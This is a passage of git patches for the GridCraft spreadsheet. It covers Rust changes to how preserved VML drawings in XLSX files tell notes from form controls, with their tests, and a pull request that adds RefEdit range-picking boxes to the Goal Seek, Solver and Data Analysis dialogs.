shapes.push_str(&format!(r##"1, 15, 0, 2, 3, 15, 4, 400"##)); } if button { shapes.push_str(r##"
Go
2, 0, 3, 0, 4, 0, 5, 0[0]!Go"##); @@ -621,7 +622,7 @@ fn vml_only_others(listed: bool, button: bool, note: bool) -> Vec { if listed { parts.push(("xl/ctrlProps/a.xml", prop_a)); } - if note { + if note.is_some() { parts.push(("xl/comments1.xml", notes)); } // As `minimal` builds it, with content types for the picture and the drawing. @@ -670,7 +671,7 @@ fn kept_vml_only_others(out: &[u8]) -> String { /// kept: the save writes them beside the regenerated button, and they survive a second round trip. #[test] fn vml_only_controls_survive_when_the_last_listed_control_is_modelled() { - let bytes = vml_only_others(true, true, false); + let bytes = vml_only_others(true, true, None); let (wb, report) = read_xlsx(&bytes).unwrap(); let sh = wb.sheet(0).unwrap(); assert_eq!(sh.controls.len(), 1, "the button is modelled"); @@ -694,7 +695,7 @@ fn vml_only_controls_survive_when_the_last_listed_control_is_modelled() { /// lists (no ``, no notes, nothing modelled): the drawing is kept on its own. #[test] fn a_sheet_whose_only_controls_are_vml_only_and_unmodelled_keeps_them() { - let bytes = vml_only_others(false, false, false); + let bytes = vml_only_others(false, false, None); let (wb, report) = read_xlsx(&bytes).unwrap(); assert!(wb.sheet(0).unwrap().controls.is_empty()); let out = write_xlsx(&wb).unwrap(); @@ -711,7 +712,7 @@ fn a_sheet_whose_only_controls_are_vml_only_and_unmodelled_keeps_them() { /// option button stay, all in the one drawing. #[test] fn vml_only_controls_beside_a_note_are_kept() { - let bytes = vml_only_others(false, true, true); + let bytes = vml_only_others(false, true, Some(r#"ObjectType="Note""#)); let (wb, report) = read_xlsx(&bytes).unwrap(); let sh = wb.sheet(0).unwrap(); assert_eq!((sh.controls.len(), sh.comments.len()), (1, 1), "{:?}", report.warnings); @@ -725,3 +726,18 @@ fn vml_only_controls_beside_a_note_are_kept() { let vml = kept_vml_only_others(&write_xlsx(&back).unwrap()); assert_eq!(vml.matches("ObjectType=\"Note\"").count(), 1, "{vml}"); } + +#[test] +fn a_note_spelled_in_another_case_or_quote_is_not_kept_beside_the_written_one() { + // The note's client data reads ObjectType='note': still a note, so the kept drawing drops it + // and the note GridCraft writes for the comment is the only one. + for attr in ["ObjectType='note'", "ObjectType = \"NOTE\"", "ObjectType=\" Note \""] { + let (wb, report) = read_xlsx(&vml_only_others(false, true, Some(attr))).unwrap(); + assert_eq!(wb.sheet(0).unwrap().comments.len(), 1, "{attr}: {:?}", report.warnings); + let out = write_xlsx(&wb).unwrap(); + let vml = kept_vml_only_others(&out).to_ascii_lowercase().replace(['\'', ' '], "\""); + assert_eq!(vml.matches("objecttype=\"note\"").count() + vml.matches("objecttype=\"\"note\"\"").count(), 1, "{attr}: {vml}"); + let (back, _) = read_xlsx(&out).unwrap(); + assert_eq!(back.sheet(0).unwrap().comments.len(), 1, "{attr}"); + } +} From 02df071b4c719d46c939968428d48a25ea30b287 Mon Sep 17 00:00:00 2001 From: prxnvt <53838599+prxnvt@users.noreply.github.com> Date: Mon, 2 Nov 2026 15:18:54 -0500 Subject: [PATCH 065/167] XLSX: a kept VML drawing drops a shape as a note only when its client data's ObjectType is Note, so a control whose caption or other attribute reads like one is kept --- crates/xlsx/src/controls.rs | 16 +++++-- crates/xlsx/src/passthrough/read.rs | 20 +++----- crates/xlsx/src/tests/controls_tests.rs | 61 ++++++++++++++++++++++++- crates/xlsx/src/xml.rs | 23 ++++++++++ 4 files changed, 100 insertions(+), 20 deletions(-) diff --git a/crates/xlsx/src/controls.rs b/crates/xlsx/src/controls.rs index bf6d9858c..0a9167f85 100644 --- a/crates/xlsx/src/controls.rs +++ b/crates/xlsx/src/controls.rs @@ -414,10 +414,18 @@ pub struct ReadControls { /// has client data that is neither a note (GridCraft writes notes) nor an embedded object's /// picture (`Pict`, which means nothing without its sheet entry). fn unlisted_kept(shape: &El) -> bool { - shape - .child("ClientData") - .and_then(|d| d.attr("ObjectType")) - .is_some_and(|t| !t.trim().eq_ignore_ascii_case("note") && !t.trim().eq_ignore_ascii_case("pict")) + object_type_of(shape).is_some_and(|t| !t.eq_ignore_ascii_case("note") && !t.eq_ignore_ascii_case("pict")) +} + +/// A VML shape's client data `ObjectType`, trimmed (`Note`, `Button`, `Checkbox`). +fn object_type_of(shape: &El) -> Option<&str> { + shape.child("ClientData").and_then(|d| d.attr("ObjectType")).map(str::trim) +} + +/// Whether a VML shape's client data is a note's: its `ObjectType` is `Note` in any case and with +/// spaces around it. Only that attribute counts, not text elsewhere in the shape (a caption). +pub(crate) fn is_note_data(data: &El) -> bool { + data.attr("ObjectType").is_some_and(|t| t.trim().eq_ignore_ascii_case("note")) } /// Reads a sheet's buttons, scroll bars and spin buttons: each `` with its properties diff --git a/crates/xlsx/src/passthrough/read.rs b/crates/xlsx/src/passthrough/read.rs index 7ad0f8867..669812597 100644 --- a/crates/xlsx/src/passthrough/read.rs +++ b/crates/xlsx/src/passthrough/read.rs @@ -577,26 +577,18 @@ fn shape_spans(vml: &str) -> Vec<(usize, usize)> { spans } -/// Whether a VML shape is a note: its client data's `ObjectType` is `Note` in any case, in either -/// quote and with spaces around it, as the control reader reads it. -fn is_note_shape(shape: &str) -> bool { - shape.match_indices("ObjectType").any(|(i, m)| { - let Some(rest) = shape.get(i + m.len()..).map(str::trim_start).and_then(|r| r.strip_prefix('=')).map(str::trim_start) else { - return false; - }; - let Some(q) = rest.chars().next().filter(|c| matches!(c, '"' | '\'')) else { return false }; - rest.get(1..).and_then(|v| v.split(q).next()).is_some_and(|v| v.trim().eq_ignore_ascii_case("note")) - }) -} - -/// VML without its note shapes (see [`is_note_shape`]) and the shapes numbered in `drop`. +/// VML without its note shapes and the shapes numbered in `drop`. A note is told as the control +/// reader tells it, from the shape's client data tag and never from text elsewhere in the shape: +/// its `ObjectType` ([`crate::controls::is_note_data`]). The tag is read on its own +/// ([`xml::first_start`]), so a caption's unclosed `
` doesn't hide it. fn strip_shapes(vml: &str, drop: &HashSet) -> String { let mut out = String::with_capacity(vml.len()); let mut last = 0; for (a, b) in shape_spans(vml) { let shape = vml.get(a..b).unwrap_or(""); + let note = xml::first_start(shape.as_bytes(), "ClientData").is_some_and(|d| crate::controls::is_note_data(&d)); let numbered = shape_numbers(shape).first().is_some_and(|n| drop.contains(n)); - if is_note_shape(shape) || numbered { + if note || numbered { out.push_str(vml.get(last..a).unwrap_or("")); last = b; } diff --git a/crates/xlsx/src/tests/controls_tests.rs b/crates/xlsx/src/tests/controls_tests.rs index 8936e0153..ec4b66c09 100644 --- a/crates/xlsx/src/tests/controls_tests.rs +++ b/crates/xlsx/src/tests/controls_tests.rs @@ -735,9 +735,66 @@ fn a_note_spelled_in_another_case_or_quote_is_not_kept_beside_the_written_one() let (wb, report) = read_xlsx(&vml_only_others(false, true, Some(attr))).unwrap(); assert_eq!(wb.sheet(0).unwrap().comments.len(), 1, "{attr}: {:?}", report.warnings); let out = write_xlsx(&wb).unwrap(); - let vml = kept_vml_only_others(&out).to_ascii_lowercase().replace(['\'', ' '], "\""); - assert_eq!(vml.matches("objecttype=\"note\"").count() + vml.matches("objecttype=\"\"note\"\"").count(), 1, "{attr}: {vml}"); + let vml = kept_vml_only_others(&out); + assert_eq!(note_shapes(&vml), 1, "{attr}: {vml}"); let (back, _) = read_xlsx(&out).unwrap(); assert_eq!(back.sheet(0).unwrap().comments.len(), 1, "{attr}"); } } + +/// The note shapes in VML text, counted as the reader tells a note: by each shape's client data +/// `ObjectType`, whatever its spelling. +fn note_shapes(vml: &str) -> usize { + crate::xml::parse(vml.as_bytes()).unwrap().kids("shape").filter(|s| s.child("ClientData").is_some_and(crate::controls::is_note_data)).count() +} + +/// The saved package's one VML drawing. +fn only_vml(out: &[u8]) -> String { + let mut pkg = Package::open(out).unwrap(); + let names: Vec = pkg.names().into_iter().filter(|n| n.ends_with(".vml")).collect(); + assert_eq!(names.len(), 1, "{names:?}"); + text(&mut pkg, &names[0]) +} + +/// A sheet's VML drawing, as the only part beside the sheet's relationships. +fn with_vml(shapes: &str) -> Vec { + let rels = r#""#; + let vml = format!( + r#"{shapes}"# + ); + minimal( + r#""#, + &[("xl/worksheets/_rels/sheet1.xml.rels", rels), ("xl/drawings/vmlDrawing1.vml", &vml)], + "", + "", + ) +} + +/// Text that reads like a note's `ObjectType` in a check box's caption or in another attribute of +/// an option button doesn't make either a note: both are kept, and a modelled button with that +/// caption keeps it. +#[test] +fn a_control_whose_text_reads_like_a_note_object_type_is_kept() { + let bytes = with_vml(concat!( + r##"
ObjectType="Note"
2, 0, 3, 0, 4, 0, 5, 0"##, + r##"
ObjectType="Note"
2, 0, 7, 0, 4, 0, 8, 0$B$7"##, + r##"2, 0, 9, 0, 4, 0, 10, 0"##, + )); + let (wb, report) = read_xlsx(&bytes).unwrap(); + let sh = wb.sheet(0).unwrap(); + assert_eq!(sh.controls.len(), 1, "{:?}", report.warnings); + assert_eq!(sh.controls[0].text, "ObjectType=\"Note\""); + let mut out = write_xlsx(&wb).unwrap(); + for _ in 0..2 { + let vml = only_vml(&out); + assert_eq!(vml.matches("ObjectType=\"Checkbox\"").count(), 1, "the check box is kept: {vml}"); + assert_eq!(vml.matches("ObjectType=\"Radio\"").count(), 1, "the option button is kept: {vml}"); + assert_eq!(vml.matches("ObjectType=\"Button\"").count(), 1, "the button once: {vml}"); + assert_eq!(note_shapes(&vml), 0, "{vml}"); + let (back, _) = read_xlsx(&out).unwrap(); + let sh = back.sheet(0).unwrap(); + assert_eq!(sh.controls.len(), 1); + assert_eq!(sh.controls[0].text, "ObjectType=\"Note\""); + out = write_xlsx(&back).unwrap(); + } +} diff --git a/crates/xlsx/src/xml.rs b/crates/xlsx/src/xml.rs index b9097eea2..902d420c4 100644 --- a/crates/xlsx/src/xml.rs +++ b/crates/xlsx/src/xml.rs @@ -213,6 +213,29 @@ pub fn parse(xml: &[u8]) -> Result { parse_streaming(xml, &[], &mut |_| Ok(())) } +/// The first element named `local_name` (namespace prefix dropped) in `xml`, read from its start tag +/// alone: no children, and nothing after the tag is read, so unbalanced markup around it (a VML +/// caption's unclosed `
`) neither hides nor moves it. `None` when there is none, or when the +/// markup before it is malformed. +pub fn first_start(xml: &[u8], local_name: &str) -> Option { + let mut reader = Reader::from_reader(xml); + { + let cfg = reader.config_mut(); + cfg.check_end_names = false; + cfg.allow_unmatched_ends = true; + cfg.allow_dangling_amp = true; + } + let mut buf = Vec::new(); + loop { + match reader.read_event_into(&mut buf).ok()? { + Event::Start(e) | Event::Empty(e) if local(e.name().as_ref()) == local_name => return Some(start_el(&e)), + Event::Eof => return None, + _ => {} + } + buf.clear(); + } +} + /// Parses a part; complete elements named in `split` that are children or grandchildren of the /// root (`sst/si`, `worksheet/sheetData/row`) are handed to `cb` and not kept in the returned /// tree. Deeper elements of the same name (the `xdr:row` of a form control's anchor) stay in the From 99b5063489f1550e051a48b21a7092f6d0991199 Mon Sep 17 00:00:00 2001 From: prxnvt <53838599+prxnvt@users.noreply.github.com> Date: Mon, 2 Nov 2026 15:19:13 -0500 Subject: [PATCH 066/167] XLSX: a kept VML drawing leaves out a modelled control by the number the reader gave it, its id before its o:spid, so the control is written once --- crates/xlsx/src/controls.rs | 2 +- crates/xlsx/src/passthrough/read.rs | 16 +++++++------ crates/xlsx/src/tests/controls_tests.rs | 32 +++++++++++++++++++++++++ 3 files changed, 42 insertions(+), 8 deletions(-) diff --git a/crates/xlsx/src/controls.rs b/crates/xlsx/src/controls.rs index 0a9167f85..7136633ed 100644 --- a/crates/xlsx/src/controls.rs +++ b/crates/xlsx/src/controls.rs @@ -394,7 +394,7 @@ pub(crate) fn shape_number(id: &str) -> Option { /// A VML shape's number: from its `id` (`_x0000_s1025`), else from `o:spid`, where producers that /// give the shape a named id (`id="Button 1"`) keep it. -fn number_of(shape: &El) -> Option { +pub(crate) fn number_of(shape: &El) -> Option { shape.attr("id").and_then(shape_number).or_else(|| shape.attr("spid").and_then(shape_number)) } diff --git a/crates/xlsx/src/passthrough/read.rs b/crates/xlsx/src/passthrough/read.rs index 669812597..dde7aac5f 100644 --- a/crates/xlsx/src/passthrough/read.rs +++ b/crates/xlsx/src/passthrough/read.rs @@ -577,17 +577,19 @@ fn shape_spans(vml: &str) -> Vec<(usize, usize)> { spans } -/// VML without its note shapes and the shapes numbered in `drop`. A note is told as the control -/// reader tells it, from the shape's client data tag and never from text elsewhere in the shape: -/// its `ObjectType` ([`crate::controls::is_note_data`]). The tag is read on its own -/// ([`xml::first_start`]), so a caption's unclosed `
` doesn't hide it. +/// VML without its note shapes and the shapes numbered in `drop`, each judged as the control +/// reader judges it, from the shape's own tags and never from text elsewhere in it: a note by its +/// client data's `ObjectType` ([`crate::controls::is_note_data`]), its number from its `id`, else +/// its `o:spid` ([`crate::controls::number_of`]). Each tag is read on its own ([`xml::first_start`]), +/// so a caption's unclosed `
` doesn't hide the client data after it. A shape with no number +/// that isn't a note is kept. fn strip_shapes(vml: &str, drop: &HashSet) -> String { let mut out = String::with_capacity(vml.len()); let mut last = 0; for (a, b) in shape_spans(vml) { - let shape = vml.get(a..b).unwrap_or(""); - let note = xml::first_start(shape.as_bytes(), "ClientData").is_some_and(|d| crate::controls::is_note_data(&d)); - let numbered = shape_numbers(shape).first().is_some_and(|n| drop.contains(n)); + let shape = vml.get(a..b).unwrap_or("").as_bytes(); + let note = xml::first_start(shape, "ClientData").is_some_and(|d| crate::controls::is_note_data(&d)); + let numbered = xml::first_start(shape, "shape").and_then(|s| crate::controls::number_of(&s)).is_some_and(|n| drop.contains(&n)); if note || numbered { out.push_str(vml.get(last..a).unwrap_or("")); last = b; diff --git a/crates/xlsx/src/tests/controls_tests.rs b/crates/xlsx/src/tests/controls_tests.rs index ec4b66c09..ee56c9421 100644 --- a/crates/xlsx/src/tests/controls_tests.rs +++ b/crates/xlsx/src/tests/controls_tests.rs @@ -798,3 +798,35 @@ fn a_control_whose_text_reads_like_a_note_object_type_is_kept() { out = write_xlsx(&back).unwrap(); } } + +/// Kept VML leaves out the modelled controls by the number the reader gave them: the `id`, else +/// the `o:spid`, wherever either comes in the shape's tag. A button whose `o:spid` comes before a +/// different `id`, and one with a plain numeric `id`, are written once, from the model; a check +/// box whose `o:spid` is a modelled button's number but whose `id` is its own is kept; a button +/// with no number isn't modelled and is kept; notes are dropped whatever their numbers. +#[test] +fn kept_vml_leaves_out_modelled_controls_by_the_readers_shape_number() { + let bytes = with_vml(concat!( + r##"
A
2, 0, 1, 0, 4, 0, 2, 0"##, + r##"
B
2, 0, 3, 0, 4, 0, 4, 0"##, + r##"
Paid
2, 0, 5, 0, 4, 0, 6, 0"##, + r##"
C
2, 0, 7, 0, 4, 0, 8, 0"##, + r##"00"##, + r##"10"##, + )); + let (wb, report) = read_xlsx(&bytes).unwrap(); + let texts: Vec<&str> = wb.sheet(0).unwrap().controls.iter().map(|c| c.text.as_str()).collect(); + assert_eq!(texts, ["A", "B"], "{:?}", report.warnings); + let mut out = write_xlsx(&wb).unwrap(); + for _ in 0..2 { + let vml = only_vml(&out); + for caption in [">A
", ">B", ">C", ">Paid"] { + assert_eq!(vml.matches(caption).count(), 1, "each control once, kept or written: {caption} {vml}"); + } + assert_eq!(vml.matches("ObjectType=\"Checkbox\"").count(), 1, "the check box is kept: {vml}"); + assert_eq!(note_shapes(&vml), 0, "{vml}"); + let (back, _) = read_xlsx(&out).unwrap(); + assert_eq!(back.sheet(0).unwrap().controls.len(), 2); + out = write_xlsx(&back).unwrap(); + } +} From 7bb397a3c1015e2a445edcd8feb01789850f4bdd Mon Sep 17 00:00:00 2001 From: Pranav <53838599+prxnvt@users.noreply.github.com> Date: Mon, 2 Nov 2026 15:23:18 -0500 Subject: [PATCH 067/167] UI: RefEdit reference boxes in dialogs (Goal Seek, Solver, Data Analysis) (#494) * UI: RefEdit reference boxes in dialogs; Goal Seek picks its cells on the grid A reference box (RefEdit) is a text field that takes a range by selection on the grid. While a box is the one being picked into (it was clicked into or collapsed), clicking or dragging on the sheet writes the absolute reference into it, with the sheet name when the selection is on another sheet; typing still edits it, and the box takes the keyboard back after a pick. Focusing another text field of the dialog ends picking. The collapse button beside each box shrinks the dialog to that box, at the dialog's top-left corner, so the sheet is free for selecting. Escape, Enter or the expand button restore the dialog. The sheet and selection from before picking are restored before the dialog runs its command (references without a sheet name mean the sheet the dialog was opened on) and when it closes. The button is focusable, works with Space and Enter, and is named for screen readers; the icons are drawn in code. Goal Seek's Set cell and By changing cell are reference boxes. The snapshot example's --refedit key=range collapses the open dialog to a box and selects a range, to render the collapsed state. * UI: Solver and Data Analysis take their ranges with RefEdit boxes Form dialogs gain a Ref field, drawn as a reference box with its collapse button. Data Analysis uses it for the input, variable, X and Y and bin ranges, and for Output Range, where picking or typing a reference also chooses that output option. Solver Parameters uses reference boxes for the objective, the variable cells and both sides of a new constraint. * UI: Data Analysis keeps New Worksheet Ply when chosen after picking an Output Range The Output Range box chose its option on every frame while it was the box being picked into, so clicking New Worksheet Ply after using the box reverted to Output Range on the next frame. The box now chooses Output Range only when it is clicked into or its text changes (typed or picked), and choosing another output option ends picking into it, so a later selection on the grid doesn't fill it either. * UI: RefEdit boxes remember the dialog's sheet by name The sheet a dialog was opened on was kept by index, so a sheet inserted or moved while picking (the ribbon stays usable) made a range on the new sheet lose its sheet name, and closing the dialog went back to whichever sheet now had that index. The sheet is now kept by name, as New Formatting Rule's formula box does. * UI: switching sheets while picking into a RefEdit box doesn't fill it A reference on another sheet carries the sheet name, so after a click on another sheet tab the selection never matched the one last seen, and the switch alone wrote that sheet's remembered selection into the box, replacing a typed reference. The box now notes which sheet its last seen selection was on: showing another sheet only refreshes it, and a selection made on that sheet still fills the box. * UI: a RefEdit box for one reference takes only the area being selected A selection of several areas (Ctrl+click) was written into every box as a comma-joined union, which Goal Seek, Solver's objective and constraints, and Data Analysis then refused as an invalid reference. Solver's variable cells still take every area; the other boxes take the area being selected. * UI: RefEdit boxes follow the dialog's sheet when it is renamed The dialog's own sheet was kept by name only, so renaming it while a reference box picked made references on it carry the new name as if it were another sheet, and running or closing the dialog could not put the selection back. The sheet's index and the sheet count are now kept with the name: when the name disappears while the count stays the same, the sheet at that index was renamed and its new name is taken. Inserting, moving or deleting other sheets still follows the name. * UI: a deleted dialog sheet is never taken for another sheet The dialog's own sheet was taken as renamed whenever its name was gone and the sheet count matched the last frame's, so deleting it was read as a rename a frame later (or after a sheet was inserted), and the surviving sheet at that index became the dialog's sheet: unqualified references ran against it and Cancel put the old selection on it. The sheet names of the last frame are now kept in order. A rename is taken only when the list keeps its length and only the home sheet's entry changed; any other loss of the name marks the sheet as deleted for good. Once it is deleted, picks carry their sheet's name, closing leaves the selection where it is, and OK is refused with a message, since references without a sheet name would otherwise run against whichever sheet is shown. * UI: RefEdit dialogs keep their sheet until they close OK put the saved selection back and dropped the dialog's sheet with it. When the command then failed, the dialog stayed open without its sheet: a later deletion of that sheet went unnoticed and a second OK ran references without a sheet name against the sheet shown, as it also did when the person had only moved to another sheet after the failed OK. The sheet is now kept, and followed through renames and deletion, until the dialog closes; only the saved selection is put back once. A later OK or Cancel shows the dialog's sheet again (or is refused once it is deleted), and picking again on that sheet saves its selection anew. * UI: Solver's Model Range is a RefEdit box * UI: a collapsed RefEdit box keeps picking when something else is clicked * UI: a dialog opened over a picking RefEdit dialog puts the selection back * UI: arrow keys select on the grid while a dialog is collapsed to a RefEdit box * UI: F4 cycles the anchors of the reference in a RefEdit box * UI: tests for Enter while collapsed and OK after a cross-sheet pick * Docs: RefEdit boxes' keyboard route, Model Range and click-elsewhere behaviour * UI: a confirmed RefEdit dialog stays on the sheet its command showed * UI: scripted dialog cancel and confirm end a RefEdit pick like the buttons * UI: RefEdit boxes run their selection and sheet commands through the app * Docs: RefEdit dialogs after OK, scripted cancel and confirm * UI: a RefEdit dialog's OK stops when the picked sheet's draft cannot be saved * Docs: ui.dialog.confirm applies to command-backed dialogs; a draft that cannot be saved stops OK * UI: Cancel of a RefEdit dialog is never a confirmation, and says when it cannot go home * Docs: cancelling a RefEdit dialog when its sheet cannot be shown again * UI: a RefEdit dialog follows its sheet's rename only through the engine's recorded steps * UI: F4 in a RefEdit box splits areas only at commas outside quoted sheet names * Docs: how a RefEdit dialog follows its sheet's rename * UI: a RefEdit dialog's sheet is told from a new sheet given its name The dialog followed its sheet by name and read the recorded steps only once the name was gone, so a sheet deleted and recreated under its own name between two frames was taken for the dialog's sheet, and OK resolved unqualified references against the replacement. The home sheet is now followed through every recorded step since the dialog last looked: a sheet with its name is the same sheet only while its file id is unchanged (a sheet inserted in the session has none), a rename keeps the file id and the cells, and a deleted sheet is remembered as it was, so only an undo that brings that very sheet back revives it. When the steps are not accounted for, a sheet with the name is taken for it, as before. A sheet never saved to a file and replaced inside one undo group is the one case nothing in the model tells apart; the code comment says so. * Docs: how a RefEdit dialog tells its sheet from a new sheet given its name * UI: a RefEdit dialog follows a sheet that came from a file by its file id A sheet read from a file keeps the file's sheetId, which no step changes and which a sheet inserted in the session lacks, so the dialog's sheet is found by it wherever a recorded step puts it and whatever the step renames it to: a group that renames the sheet and inserts a new one under its old name follows the rename instead of refusing OK. When the step also copied the sheet (a copy keeps the id), the one keeping the name is taken. A sheet never saved to a file is still followed by name, with the rename rule as before. * Docs: a RefEdit dialog follows a sheet that came from a file by its file id * UI: a RefEdit box the dialog stops showing is no longer picked into A reference box compares the grid selection with the one it last saw only while it is drawn, so a box hidden while it was the one being picked into (Solver's Options view, the constraint value once the operator is int or bin) took a selection made meanwhile when it came back. After the dialog's window is drawn, a target box that was not drawn in the frame ends the pick, whatever hid it; Model Range no longer needs its own rule when the Load/Save area is hidden. * UI: the Name Box keeps its keys while a dialog is collapsed to a RefEdit box The collapsed picker took Escape, Enter and the arrow keys out of the frame's input whoever had the keyboard. The Name Box, drawn before the dialogs, had already read an arrow when the picker removed the same event and moved the grid selection, and the box then took that selection and the keyboard; its Escape expanded the dialog instead of only leaving the box. The picker now acts on those keys only when no other text field owns the keyboard, judged by the focus at the end of the frame before as well as now, since egui drops the focus for Escape before anything is drawn. The other field's Escape and Enter are still used up, so the dialog neither closes nor confirms on them. * Docs: a sentence break in the ui.dialog row of the control protocol * UI: a RefEdit dialog keeps its sheet by the sheet's identity, not by file id or history The dialog's sheet was followed by name through the recorded undo steps, with the file's sheet id telling a saved sheet from a new one; a copy made with sheet.move keeps that id, so once the original was deleted the copy, as the only sheet of the id, was taken for the dialog's sheet and OK ran against it. The model now gives every sheet an identity while the app runs (SheetUid: fresh for every sheet added, inserted, copied or read, kept through renames, moves, undo and redo), so Home keeps the sheet's uid and finds the sheet by it each time it is needed. The history walk, the rename rule and the file-id and Arc comparisons are gone, with the undetectable single-step case they left: a sheet given the name, a replacement inside one undo group and a copy are all other sheets, and an undo that brings the original back makes it the dialog's again. Nothing of the unaccounted-steps fallback is kept, since the identity always answers. Regression test: copy the dialog's sheet, delete the original, OK is refused; undo, OK runs on the original. The identity tests no longer need a workbook that came through a file. * UI: Solver's Reset All, Load, Save and Replace act on the dialog's sheet, as Solve does Only Solve went through the dialog's home-sheet checks before running (dialogs::show): Reset All, Load Model, Save Model and Replace ran their commands straight from the form, on whichever sheet was active. After a reference box picked on another sheet and the dialog expanded, that sheet was still shown, so Reset All removed its model instead of the dialog's sheet's, and Load and Save read and wrote the model range on it. The four buttons now run only after the same checks as Solve: the dialog's sheet must still exist (else the command is refused with the deleted-sheet message) and is shown again with the selection from before picking put back (a failure to show it, a text-box draft that could not be saved, is shown as the dialog's error and the command does not run). Goal Seek has no other buttons, and Data Analysis's Replace goes through the confirm path that Solve uses, so neither needed a change. Regression tests: after a cross-sheet pick, Reset All clears the dialog's sheet's model and leaves the other sheet's; Save and Replace write the dialog's sheet; Load reads it. * UI: Protect Sheet opened while a reference box picks on another sheet acts on the dialog's sheet * Docs: a scripted Goal Seek after a cross-sheet pick cancels the dialog before data.goalSeek * UI: the Protect Sheet labels follow the dialog's sheet while a reference box picks on another * Docs: a scripted Goal Seek checks that the dialog's sheet still exists after cancel * Control: ui.dialog.cancel replies sheetDeleted when the dialog's own sheet is gone, even if its name was reused * M2: allow shared-runner variance in the pathological math timing gate * M2: refuse sheet protection actions after a reference dialog home is deleted --------- Co-authored-by: FredApps --- ROADMAP.md | 4 +- crates/math/tests/gate.rs | 3 +- crates/ui-egui/examples/snapshot.rs | 19 +- crates/ui-egui/src/app/commands.rs | 31 +- crates/ui-egui/src/control.rs | 55 +- crates/ui-egui/src/dialogs.rs | 42 + crates/ui-egui/src/dialogs/analysis.rs | 125 +- crates/ui-egui/src/dialogs/data.rs | 8 +- crates/ui-egui/src/dialogs/ref_edit.rs | 486 +++++++ crates/ui-egui/src/dialogs/show.rs | 58 +- crates/ui-egui/src/i18n/cs.rs | 2 + crates/ui-egui/src/i18n/de.rs | 2 + crates/ui-egui/src/i18n/el.rs | 2 + crates/ui-egui/src/i18n/es.rs | 2 + crates/ui-egui/src/i18n/fr.rs | 2 + crates/ui-egui/src/i18n/it.rs | 2 + crates/ui-egui/src/i18n/ja.rs | 2 + crates/ui-egui/src/i18n/ko.rs | 2 + crates/ui-egui/src/i18n/nl.rs | 2 + crates/ui-egui/src/i18n/pl.rs | 2 + crates/ui-egui/src/i18n/pt.rs | 2 + crates/ui-egui/src/i18n/ro.rs | 2 + crates/ui-egui/src/i18n/ru.rs | 2 + crates/ui-egui/src/i18n/sr.rs | 2 + crates/ui-egui/src/i18n/tr.rs | 2 + crates/ui-egui/src/i18n/uk.rs | 2 + crates/ui-egui/src/i18n/vi.rs | 2 + crates/ui-egui/src/i18n/zh.rs | 2 + crates/ui-egui/src/ribbon/review.rs | 2 +- crates/ui-egui/tests/it/main.rs | 1 + crates/ui-egui/tests/it/ref_edit.rs | 1639 ++++++++++++++++++++++++ docs/control-protocol.md | 2 +- docs/ui-parity.md | 44 +- 33 files changed, 2481 insertions(+), 74 deletions(-) create mode 100644 crates/ui-egui/src/dialogs/ref_edit.rs create mode 100644 crates/ui-egui/tests/it/ref_edit.rs diff --git a/ROADMAP.md b/ROADMAP.md index 9acd2e13f..3d65350f0 100644 --- a/ROADMAP.md +++ b/ROADMAP.md @@ -2,7 +2,7 @@ **Stage: alpha** · next: beta, ~25 points of "ready for real work" and ~160–240 h away -> **Last reviewed:** 2026-11-01 · **Last updated:** 2026-11-02 · **Change:** minor (Python mode in the formula bar; earlier: Python cells stored and kept in files; earlier: equations: Insert › Equation, editor, gridcraft-math; earlier: What-if and analysis: Solver Sensitivity report for Simplex LP and GRG Nonlinear; earlier: floating objects: one selection, eight resize handles, keyboard delete; earlier: Chart data tables: live source values beneath column, bar, line, area and compatible combo charts; legend keys and borders; XLSX round-trip and print/PDF; earlier: Formulas › Function Library as labelled buttons with category menus; Recently Used and Insert Function categories; XLSX workbook-view selection, bounded tab ratios and sheet-edit regressions; readiness estimates unchanged; earlier: CSV and text open detects each column's date order, so day-first dates are not silently swapped) · **Target:** Microsoft Excel (Microsoft 365) +> **Last reviewed:** 2026-11-01 · **Last updated:** 2026-11-02 · **Change:** minor (RefEdit reference boxes in dialogs: Goal Seek, Solver and Data Analysis take ranges by selection on the grid; earlier: Python mode in the formula bar; earlier: Python cells stored and kept in files; earlier: equations: Insert › Equation, editor, gridcraft-math; earlier: What-if and analysis: Solver Sensitivity report for Simplex LP and GRG Nonlinear; earlier: floating objects: one selection, eight resize handles, keyboard delete; earlier: Chart data tables: live source values beneath column, bar, line, area and compatible combo charts; legend keys and borders; XLSX round-trip and print/PDF; earlier: Formulas › Function Library as labelled buttons with category menus; Recently Used and Insert Function categories; XLSX workbook-view selection, bounded tab ratios and sheet-edit regressions; readiness estimates unchanged; earlier: CSV and text open detects each column's date order, so day-first dates are not silently swapped) · **Target:** Microsoft Excel (Microsoft 365) GridCraft aims at full Microsoft Excel parity, and at being better in places: faster, open (XLSX is the native format), fully scriptable by agents (MCP, control channel, CLI), and on the web. @@ -135,6 +135,7 @@ Ranked; estimates in Opus 5.5 agent-hours. Detail and the full beta-gate list in | Date | What landed | |---|---| +| 2026-11-02 | Dialogs take ranges by selection on the grid: reference boxes (RefEdit) with a collapse button that shrinks the dialog while the person selects, in Goal Seek, Solver (including the Model Range of Load/Save) and Data Analysis; while collapsed, the arrow keys move the selection and Shift+arrow extends it, and F4 cycles a reference's anchors | | 2026-11-02 | Python mode in the formula bar: Ctrl+Alt+Shift+P, `=PY` then Tab, or editing a Python cell edits its code in the formula bar, with Enter for a new line, Tab to indent and Ctrl+Enter to commit through `python.set`. The code still doesn't run | | 2026-11-02 | Python cells as data: `python.set` stores code in a cell, Python cells copy, move, fill and undo like formulas, and `.xlsx` reads and writes Python cells as [MS-XLSX] specifies (`_xlfn._xlws.PY(index,0 or 1)`, the code in the workbook's Python part) with cached values and spills, so such workbooks open with their results; nothing runs Python (new code shows `#BLOCKED!`), and opening a file limits code size, result size and spill ranges | | 2026-11-02 | Equations: Insert › Equation (a split button with a gallery of examples) and an editor with quick-insert buttons, the error underlined at its position and a live preview; `insert.equation` and `equation.edit`; LaTeX laid out by RaTeX inside the new `gridcraft-math` crate, capped and panic-guarded, and cached on the shape so that painting never runs the layout engine; xlsx writes Office Math with a plain-text fallback and the source in `descr`, and reads Office Math back into LaTeX; PDF prints equations with the standard Symbol font and `[?]` for anything else | @@ -256,6 +257,7 @@ Ranked; estimates in Opus 5.5 agent-hours. Detail and the full beta-gate list in | Date | Change | Summary | |---|---|---| +| 2026-11-02 | minor | Progress log: RefEdit reference boxes in dialogs | | 2026-11-02 | minor | Progress log: Python mode in the formula bar | | 2026-11-02 | minor | Progress log: Python cells as data | | 2026-11-02 | minor | Progress log: equations (Insert › Equation, the editor, gridcraft-math) | diff --git a/crates/math/tests/gate.rs 